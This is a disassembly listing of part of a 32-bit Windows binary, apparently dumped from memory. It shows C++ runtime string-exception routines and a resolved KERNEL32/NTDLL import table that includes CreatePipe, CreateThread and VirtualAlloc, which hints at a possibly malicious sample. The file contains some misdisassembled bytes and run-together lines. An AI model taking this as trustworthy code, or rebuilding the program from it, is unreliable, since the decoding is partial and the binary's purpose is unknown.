		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_41FC42
		push	dword ptr [ebp+8]
		call	sub_415CF0
		inc	eax
		inc	eax
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41FC42
		push	dword ptr [ebp+8]
		push	esi
		call	sub_415C00
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+8]
		pop	ecx
		add	eax, [ebp-8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0A80000h
		cmp	edx, [esi-18h]
		cld
		popa
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh, 59h
; ---------------------------------------------------------------------------


loc_41FC42:				; CODE XREF: seg000:0041FB30j
					; seg000:0041FBC6j ...
		xor	eax, eax
		jmp	loc_41FB29

; =============== S U B	R O U T	I N E =======================================



sub_41FC49	proc near		; CODE XREF: seg000:0041FB74p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_4694AC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FC84
		mov	edi, [esp+8+arg_4]


loc_41FC5B:				; CODE XREF: sub_41FC49+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FC7A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41FC94
		test	al, al
		jz	short loc_41FC94


loc_41FC7A:				; CODE XREF: sub_41FC49+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41FC5B


loc_41FC84:				; CODE XREF: sub_41FC49+Cj
		mov	eax, esi
		sub	eax, ds:dword_4694AC
		sar	eax, 2
		neg	eax


loc_41FC91:				; CODE XREF: sub_41FC49+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FC94:				; CODE XREF: sub_41FC49+2Bj
					; sub_41FC49+2Fj
		mov	eax, esi
		sub	eax, ds:dword_4694AC
		sar	eax, 2
		jmp	short loc_41FC91
sub_41FC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCA1	proc near		; CODE XREF: seg000:0041FB01p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41FCB0
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41FCB0:				; CODE XREF: sub_41FCA1+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41FCC2


loc_41FCB8:				; CODE XREF: sub_41FCA1+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41FCB8


loc_41FCC2:				; CODE XREF: sub_41FCA1+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41FCE3
		push	9
		call	sub_417BEE
		pop	ecx


loc_41FCE3:				; CODE XREF: sub_41FCA1+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41FCE7:				; CODE XREF: sub_41FCA1+5Bj
		test	eax, eax
		jz	short loc_41FCFE
		push	eax
		add	ebx, 4
		call	sub_41FD7B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41FCE7
; ---------------------------------------------------------------------------


loc_41FCFE:				; CODE XREF: sub_41FCA1+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41FCA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD08	proc near		; CODE XREF: seg000:0041FAD6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_46A8BC, 0
		jnz	short loc_41FD23
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417080
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD23:				; CODE XREF: sub_41FD08+Aj
		mov	ecx, [ebp+arg_0]


loc_41FD26:				; CODE XREF: sub_41FD08+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41FD69
		movzx	edx, al
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_41FD55
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41FD60
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41FD64
		jmp	short loc_41FD5D
; ---------------------------------------------------------------------------


loc_41FD55:				; CODE XREF: sub_41FD08+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41FD69


loc_41FD5D:				; CODE XREF: sub_41FD08+4Bj
		inc	ecx
		jmp	short loc_41FD26
; ---------------------------------------------------------------------------


loc_41FD60:				; CODE XREF: sub_41FD08+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD64:				; CODE XREF: sub_41FD08+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD69:				; CODE XREF: sub_41FD08+25j
					; sub_41FD08+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41FD08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD7B	proc near		; CODE XREF: sub_4099AA+21p
					; sub_41FCA1+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41FDA2
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FDA2
		push	esi
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: sub_41FD7B+7j
					; sub_41FD7B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41FD7B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FDB0	proc near		; CODE XREF: sub_404B1E+15p
					; sub_404B77+15p ...
		mov	eax, offset loc_4202A0
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_421F80
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C3C
		call	sub_420209
		pop	esi
sub_41FDB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE0A	proc near		; CODE XREF: sub_41FDB0+3Fp
					; sub_41FFDC+3Fp
		mov	eax, offset loc_4202B4
		call	sub_416458
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438FAC
		call	sub_42012E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	ds:dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FE0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6E	proc near		; DATA XREF: seg001:00421C40o
					; seg001:00421C60o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41FE7A
		mov	eax, offset dword_421258

locret_41FE7A:				; CODE XREF: sub_41FE6E+5j
		retn
sub_41FE6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE7B	proc near		; DATA XREF: seg001:00421C64o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FEF1
		lea	eax, [ebp+var_1C]
		push	offset dword_421FF0
		push	eax
		call	sub_420209
sub_41FE7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE98	proc near		; CODE XREF: seg000:0041FED8p
					; DATA XREF: seg001:00421FF4o
		mov	eax, offset loc_4202C8
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FE98	endp

; ---------------------------------------------------------------------------


loc_41FED5:				; DATA XREF: seg001:off_421C5Co
		push	esi
		mov	esi, ecx
		call	sub_41FE98
		test	byte ptr [esp+8], 1
		jz	short loc_41FEEB
		push	esi
		call	sub_416477
		pop	ecx


loc_41FEEB:				; CODE XREF: seg000:0041FEE2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41FEF1	proc near		; CODE XREF: sub_41FE7B+Ap
					; sub_41FFC4+7p ...
		mov	eax, offset loc_4202DC
		call	sub_416458
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42016B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	ds:dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FEF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF4E	proc near		; CODE XREF: sub_41FF8B+20p
					; DATA XREF: seg001:00421F84o
		mov	eax, offset loc_4202F0
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF8B	proc near		; DATA XREF: seg001:00421C44o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FFC4
		lea	eax, [ebp+var_1C]
		push	offset dword_421F80
		push	eax
		call	sub_420209


loc_41FFA8:				; DATA XREF: seg001:off_421C3Co
		push	esi
		mov	esi, ecx
		call	sub_41FF4E
		test	[esp+20h+var_18], 1
		jz	short loc_41FFBE
		push	esi
		call	sub_416477
		pop	ecx


loc_41FFBE:				; CODE XREF: sub_41FF8B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFC4	proc near		; CODE XREF: sub_41FF8B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C3C
		mov	eax, esi
		pop	esi
		retn	4
sub_41FFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFDC	proc near		; CODE XREF: sub_404BCE+13p
					; sub_404D92+Ep
		mov	eax, offset loc_420304
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_4220A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_420209
		pop	esi
sub_41FFDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420036	proc near		; CODE XREF: sub_420073+20p
					; DATA XREF: seg001:004220ACo
		mov	eax, offset loc_420318
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420073	proc near		; DATA XREF: seg001:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4200AC
		lea	eax, [ebp+var_1C]
		push	offset dword_4220A8
		push	eax
		call	sub_420209


loc_420090:				; DATA XREF: seg001:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_420036
		test	[esp+20h+var_18], 1
		jz	short loc_4200A6
		push	esi
		call	sub_416477
		pop	ecx


loc_4200A6:				; CODE XREF: sub_420073+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420073	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4200AC	proc near		; CODE XREF: sub_420073+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_4200AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200C4	proc near		; DATA XREF: seg002:0042300Co

; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES

		test	ds:byte_46976C,	1
		jnz	short loc_4200D4
		or	ds:byte_46976C,	1


loc_4200D4:				; CODE XREF: sub_4200C4+7j
		call	sub_4200EE
		test	ds:byte_46AAF8,	1
		jnz	short loc_4200E9
		or	ds:byte_46AAF8,	1


loc_4200E9:				; CODE XREF: sub_4200C4+1Cj
		jmp	loc_4200FA
sub_4200C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200EE	proc near		; CODE XREF: sub_4200C4:loc_4200D4p
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_4200EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4200C4


loc_4200FA:				; CODE XREF: sub_4200C4:loc_4200E9j
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4200C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420106	proc near		; CODE XREF: sub_40446E+5Ep
					; sub_405409+159p
		jmp	ds:dword_4211D4
sub_420106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42010C	proc near		; CODE XREF: sub_4160C4+23p
					; sub_416368+13p
		jmp	ds:dword_421154
sub_42010C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420112	proc near		; DATA XREF: seg001:off_421C94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4201B5
		test	[esp+4+arg_0], 1
		jz	short loc_420128
		push	esi
		call	sub_416477
		pop	ecx


loc_420128:				; CODE XREF: sub_420112+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420112	endp


; =============== S U B	R O U T	I N E =======================================



sub_42012E	proc near		; CODE XREF: sub_41FE0A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		push	dword ptr [edi]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42015D
		push	dword ptr [edi]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx


loc_42015D:				; CODE XREF: sub_42012E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42012E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42016B	proc near		; CODE XREF: sub_41FEF1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4201A8
		push	dword ptr [edi+4]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4201AE
		push	dword ptr [edi+4]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		jmp	short loc_4201AE
; ---------------------------------------------------------------------------


loc_4201A8:				; CODE XREF: sub_42016B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4201AE:				; CODE XREF: sub_42016B+2Ej
					; sub_42016B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42016B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B5	proc near		; CODE XREF: sub_41FE98+2Bp
					; sub_41FF4E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421C94
		jz	short locret_4201CA
		push	dword ptr [ecx+4]
		call	sub_416477
		pop	ecx

locret_4201CA:				; CODE XREF: sub_4201B5+Aj
		retn
sub_4201B5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4201D7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4201D7:				; CODE XREF: seg000:004201D0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4201D8	proc near		; CODE XREF: seg000:004201F0p
		mov	dword ptr [ecx], offset	off_421CB4
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4201EC
		push	ecx
		call	sub_415E3D
		pop	ecx

locret_4201EC:				; CODE XREF: sub_4201D8+Bj
		retn
sub_4201D8	endp

; ---------------------------------------------------------------------------


loc_4201ED:				; DATA XREF: seg001:off_421CB4o
		push	esi
		mov	esi, ecx
		call	sub_4201D8
		test	byte ptr [esp+8], 1
		jz	short loc_420203
		push	esi
		call	sub_416477
		pop	ecx


loc_420203:				; CODE XREF: seg000:004201FAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420209	proc near		; CODE XREF: sub_41FDB0+54p
					; sub_41FE7B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_421184	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_420209	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420244	proc near		; DATA XREF: seg001:00421E84o

; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404B16
sub_420244	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420262
		mov	ecx, [ebp+8]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

locret_420262:				; CODE XREF: seg000:00420254j
		retn
; ---------------------------------------------------------------------------


loc_420263:				; DATA XREF: sub_4046AAo
		mov	eax, offset dword_421E58
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420278:				; DATA XREF: seg001:00421EB4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420280:				; DATA XREF: sub_40484Co
		mov	eax, offset dword_421E88
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4


loc_42028C:				; DATA XREF: sub_404DF9o
		mov	eax, offset dword_421EB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_4202A0:				; DATA XREF: sub_41FDB0o
		mov	eax, offset dword_421F90
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202B4:				; DATA XREF: sub_41FE0Ao
		mov	eax, offset dword_421FB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202C8:				; DATA XREF: sub_41FE98o
		mov	eax, offset dword_422000
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202DC:				; DATA XREF: sub_41FEF1o
		mov	eax, offset dword_422028
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_4202F0:				; DATA XREF: sub_41FF4Eo
		mov	eax, offset dword_422050
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420304:				; DATA XREF: sub_41FFDCo
		mov	eax, offset dword_4220B8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------


loc_420318:				; DATA XREF: sub_420036o
		mov	eax, offset dword_4220E0
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 00021000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00021000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 421000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 7C81AE17h, 7C833478h
dword_421008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; seg000:0041FAA6r
dword_42100C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; seg000:0041F8FEr
		dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_42101C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41DF59+6r
		dd 7C812641h, 7C81DC03h
dword_421028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:0041D324r
		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_42103C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_41CB20+E1r
dword_421044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW		dd 7C80C058h
dword_42104C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; seg000:00401C13r ...
		dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_42105C	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_40B16D+Dr ...
dword_421060	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40283D+E3r ...
dword_421064	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4030C0+65r ...
dword_421068	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_406A32+80r ...
dword_42106C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_4033CB+150r ...
		dd 7C810D87h, 7C8312E5h
dword_421078	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_406100+1C4r ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_421088	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; seg000:loc_4073B2r ...
dword_42108C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:00407384r ...
		dd 7C810A77h
dword_421094	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_417709+4r
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_4210A4	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; seg000:00406987r ...
dword_4210A8	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_4088A0+26r
dword_4210AC	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; seg000:0040B96Br ...
dword_4210B0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40778B+443r
dword_4210C0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4089F2:loc_408EE2r ...
dword_4210C4	dd 3E7574h						; sub_419EEF+15r ...
dword_4210C8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_4210D0	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4210D4	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C835DCAh, 7C85F90Fh
		dd 7C80DDFEh
dword_421104	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_421108	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_42110C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:004142A9r
		dd 7C8310F2h
dword_421114	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:00412262r ...
		dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_421138	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:0041BF7Er ...
		dd 7C8216A4h, 7C801E16h
dword_421144	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C830B14h
dword_42114C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4174DF+AFr ...
dword_421150	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_418B28+2C4r ...
dword_421154	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_421160	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41915C+28r
		dd 7C801EEEh, 7C812F1Dh
dword_42116C	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_421170	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_421174	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_421178	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_42117C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41920D+51r
		dd 7C809E79h
dword_421184	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_420209+2Er
dword_421188	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
